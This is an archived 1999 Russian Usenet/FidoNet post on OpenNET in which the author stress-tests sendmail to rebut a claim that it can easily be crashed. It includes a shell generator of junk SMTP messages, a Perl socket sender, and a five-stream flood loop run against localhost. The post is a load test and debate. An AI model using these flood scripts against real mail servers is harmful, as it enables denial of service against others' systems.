The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Как завалить sendmail ? (mail sendmail script)


<< Предыдущая ИНДЕКС Поиск в статьях src Установить закладку Перейти на закладку Следующая >>
Ключевые слова: mail, sendmail, script,  (найти похожие документы)
_ RU.UNIX (2:5077/15.22) _____________________________________________ RU.UNIX _ From : Vladimir N.Silyaev 2:5020/400 24 May 99 18:07:06 Subj : Как завалить sendmail ? ________________________________________________________________________________ From: "Vladimir N.Silyaev" <[email protected]> Reply-To: [email protected] Vladimir A. Butenko wrote: > Тест простой до жути: открывается пяток каналов, и в них, со скоростью, > лимитируемой только скоростью сети и томознутостью сендмайла на другом > конце - несутся сообщения mail from:<>, rcpt to: <postmaster> data: <> - > 20K грязи. Я как человек неверующий, решил проверить: Что для проверки требуется: 1. Программа генерирующая шаблон письма: gen #!/bin/sh echo MAIL From: nobody echo RCPT To: nobody echo DATA echo head -c 16384 /dev/zero | uuencode test echo echo . 2. Программа передающая письма на MTA: send.pl #!/usr/bin/perl require 'sys/socket.ph'; $sockaddr='S n a4 x8'; ($name, $aliases, $type, $len, $hisaddr) = gethostbyname($ARGV[0]); $that=pack($sockaddr, &AF_INET, 25, $hisaddr); socket(S, &PF_INET, &SOCK_STREAM, $proto); connect(S, $that) || die "connect: $!"; select(S); $| = 1;select(STDOUT);$| = 1; $n=0;$out=''; while(<STDIN>) { $out.=$_; if (/MAIL From:/i || /RCPT To:/i || /^\.$/) { print S $out;$out=''; $data=''; while (1) { sysread(S,$part,16384); $data.=$part; last if $data=~/250/i; } $n++; print int($n/3),"\t\t\t\r"; } } 3. A теперь внимание: взлет этого хозяйства: sh -c 'for i in 1 2 3 4 5; do (while true; do ./gen ;done | ./send.pl localhost &) ; done' Чтобы место на диске кончалось не очень быстро, паралельно запускается такое хозяйство: sh -c 'while true; do echo -n >/var/mail/nobody;sleep 20;done' > > > VAB> FreeBSD ложилась вполне конкретно, то есть система не зависала - но > > VAB> начинали сыпаться другие процессы по нехватке ресурсов. > > > > Каких именно ресурсов? Поясните, что именно не сумел правильно > > подсчитать и настроить Ваш системный администратор. > Как вы уже наверное догадались, ничего не зависло, именно под FreeBSD и именно sendmail. Загрузка системы была порядка 3 - 5. Количество копий sendmail ~ 15 - 20. Да, следует отметить, что когда, по причинам не связанным с этим экспирементом, загрузка поднялась выше, по моему 10, то sendmail просто прекратил слушать 25 порт, когда нагрузка спала опять стал слушать. > > Ась?! Чего-чего? 1000 в секунду? Да пусть и в NULL? Хрена он "отколотит" - > можете сами проверить. Да, конечно, их вовсе не было 1000 в секунду, а где-то наверное до 20-40 писем в секунду. > > Сендмайл перестает принимать коннекшны. Это эквивалентно (снаружи) > зависанию системы. Другие процессы тоже перестают работать. Как я уже писал, как только нагрузка системы превышает установленную границу он перестает слушать порт, и это _правильно_. А вот и Вам вопрос - каково поведение Вашего продукта, Сommunigate Pro, в случае высокой нагрузки на систему на которой он работает? С уважением, В.Силяев. P.S. Скептиков прошу заметить, что скорость, с которой скрипт 'while true; do ./gen ;done' выдает информацию, составляет примерно 765 Кбайт/cек. P.S.S. Хочу предупредить, что программа для передачи данных на MTA 'send.pl', не является корректно написанной, и по сути является грязным хаком. P.S.S.S. Я конечно, не хочу сказать, что написанное в subj, не реально. Просто это не так просто, как кому-то хотелось бы. Последняя фраза это мое личное IMHO. --- ifmail v.2.14dev3 * Origin: JSC INT (2:5020/400)

<< Предыдущая ИНДЕКС Поиск в статьях src Установить закладку Перейти на закладку Следующая >>

 Добавить комментарий
Имя:
E-Mail:
Заголовок:
Текст:




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру